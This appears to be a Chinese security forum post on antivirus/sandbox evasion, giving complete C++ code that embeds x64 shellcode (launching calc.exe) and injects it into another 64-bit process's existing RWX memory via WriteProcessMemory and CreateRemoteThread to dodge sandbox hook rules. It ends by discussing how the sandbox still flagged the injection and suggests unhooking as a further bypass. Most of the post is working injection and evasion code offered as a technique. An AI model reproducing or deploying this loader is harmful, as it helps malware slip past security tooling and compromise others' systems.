免杀技术之优雅地绕过函数调用链

alyssa · 发表于 2023-9-9 10:07:12

本帖最后由 alyssa 于 2023-9-9 10:09 编辑

使用场景

在某次实践中碰到一个沙箱,在不知道沙箱强度的情况下只能一点点去探索,程序通过调用ShellCode弹出计算器。丢到沙箱里面进行测试发现被沙箱检测到并且爆出了执行ShellCode的行为。了解过沙箱的朋友都知道，沙箱一般是通过Hook关键API得到调用信息返回给脚本去匹配规则。

解析

#include <iostream>
#include <Windows.h>
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
{
auto addr = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory((HANDLE)-1, addr, buf, sizeof(buf), NULL);
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
std::cin.get();
return 0;
}

复制代码

在这个函数中我们执行ShellCode的调用了三个关键的函数VirtualAlloc，WriteProcessMemory，CreateThread而这三个函数是执行ShellCode或者注入常用的API,这里可以肯定的一点是已经被沙箱挂钩了。所以我们要绕过要不就是脱钩要不就是猜规则的写法找规则的漏洞。

规则

...
if func("VirtualAlloc") == True:
if func("WriteProcessMemory") == True:
if func("CreateThread") == True:
print("执行了ShellCode")
...

复制代码

func函数中检测钩子输出文件或者从内存信息获取到这个三个函数的触发顺序，现在触发了这条规则，就说明我们目前是在执行ShellCode，因此成为了报毒的一个关键点。

如何绕过

最简单的绕过是使用类似功能的函数进行替代，这里也可能存在一个问题,就是常见的那些函数已经被挂钩了，因为很多沙箱默认就挂钩了很多内存相关的API，如果我们如果只是替换一些函数可能还是会被检测到，当然不排除这些方式可以绕过一些沙箱，单这次遇到的沙箱我测试替换了很多API还是会被检测到。那么我们只能从规则方面去下手了。

我们反过来想一下，我们执行ShellCode就需要先申请可执行的内存，在写数据到内存中，在启动线程去执行数据。那么我们可不可以不申请内存就可以执行。这就是我们绕过不这么健全规则的一种方式。

构造

1. 遍历系统进程

遍历进程的方式有很多中，这里我们选择使用Windows Api进行遍历，具体代码如下:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
int main()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
do
{
std::cout << processEntry.szExeFile << "\tpid:" << processEntry.th32ProcessID << "\n";
} while (Process32Next(snapshot, &processEntry));
return 0;
}

复制代码

下一步我们要去判断软件架构，为什么要进行这一步是取决于我们的ShellCode是多少位的，这里我的ShellCode是64位，所以要过滤掉32位进程，不然在后续找到可读可写可执行内存的时候我们虽然可以写入到内存，但不能执行起来。

2. 判断软件架构

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
int main()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};
do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if (process)
{
BOOL isWow64 = FALSE;
if (IsWow64Process(process, &isWow64) && isWow64)
{
// 过滤掉32位进程
CloseHandle(process);
continue;
}
CloseHandle(process);
std::cout << processEntry.szExeFile << " pid:" << processEntry.th32ProcessID << " is 64-bit." << "\n";
}
} while (Process32Next(snapshot, &processEntry));
return 0;
}

复制代码

IsWow64Process(process, &isWow64) && isWow64

新加入的代码中使用IsWow64Process这个API去判断进程是否为64位，如果不是我们就进行下次一循环。如果是我们需要架构的进程我们就要进行下一步判断进程中是否有可读可写可执行的内存让我们去构造ShellCode。

3. 判断进程是否已经有可读可写可执行的内存

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
int main()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};
do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if (process)
{
BOOL isWow64 = FALSE;
if (IsWow64Process(process, &isWow64) && isWow64)
{
// 过滤掉32位进程
CloseHandle(process);
continue;
}
std::cout << processEntry.szExeFile << "\tpid:" << processEntry.th32ProcessID << "\n";
while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{
if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout << "\tRWX内存地址: 0x" << std::hex << mbi.BaseAddress << "\n";
}
offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
}
offset = 0;
CloseHandle(process);
}
} while (Process32Next(snapshot, &processEntry));
return 0;
}

复制代码

这种就是我们可操作的内存，主要使用到的函数是VirtualQueryEx，通过遍历出进程中所有内存，对内存属性进行判断，筛选出我们需要的内存。

4. 写入内存到获取的分块中

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};
bool isExecute = false;
do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if (process)
{
BOOL isWow64 = FALSE;
if (IsWow64Process(process, &isWow64) && isWow64)
{
// 过滤掉32位进程
CloseHandle(process);
continue;
}
while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{
if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout << processEntry.szExeFile << "\tpid:" << processEntry.th32ProcessID << "\t写入地址: 0x" << std::hex << mbi.BaseAddress << std::endl;
WriteProcessMemory(process, mbi.BaseAddress, buf, sizeof(buf), NULL);
CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
isExecute = true;
break;
}
offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
}
offset = 0;
CloseHandle(process);
if (isExecute)
{
break;
}
}
} while (Process32Next(snapshot, &processEntry));
return 0;
}

复制代码

这里需要注意的是第一次获取到可用内存的时候就可以退出循环了，避免ShellCode多次执行。

5. 执行ShellCode完成目标

验证内存

检测方式

注入检测：这种方式不管怎么绕，都必须要经过的一点，都要通过一个进程去往另外一个进程中去写入数据，而这个行为是很好检测的。遇到这种基本可以直接判定为是恶意软件。

微步检测：触发ATTCK

微步分析出现两个检测总得来说就是进行了注入，规则可能是针对WriteProcessMemory这个函数进行检测。

BOOL WINAPI WriteProcessMemory(

In HANDLE hProcess,

In LPVOID lpBaseAddress,

In_reads_bytes(nSize) LPCVOID lpBuffer,

In SIZE_T nSize,

Out_opt SIZE_T* lpNumberOfBytesWritten);

第一个参数是要被写入数据的进程句柄，这里可以根据句柄去判断出写入的是哪个进程，在与当前挂钩的进程进行对比，从而判断出来是写入到其他进程还是当前进程，如果是其他进程就触发规则‘修改其他进程内存数据’。而这种我们也可以通过前面讲到绕过EDR脱钩来反沙箱钩子，不过这种方式只能绕过三环的钩子，如果是内核钩子我们就需要在0环对抗了。还有就是我们脱钩也是一种很常见的高危行为，常规脱钩大概率是会被直接检测出的。

注入规则的触发是WriteProcessMemory + CreateRemoteThread，如果单纯的去调用WriteProcessMemory触发的是执行远程函数这个规则，应该是针对这两个API去组建了一个新的规则。

总结

本次试验的目的并不是去绕过一款沙箱。主要是要总结经验，去根据不同的引擎和规则针对性的去改变自己的免杀方式，没有哪种方式的免杀是可以永久不杀的，也没有任何沙箱可以百分百检测到各种行为。主要是在于绕过的方式和规则的构建。要多尝试总结出被杀的原因。

		自动登录	找回密码
密码			立即注册

免杀技术之优雅地绕过函数调用链

本帖子中包含更多资源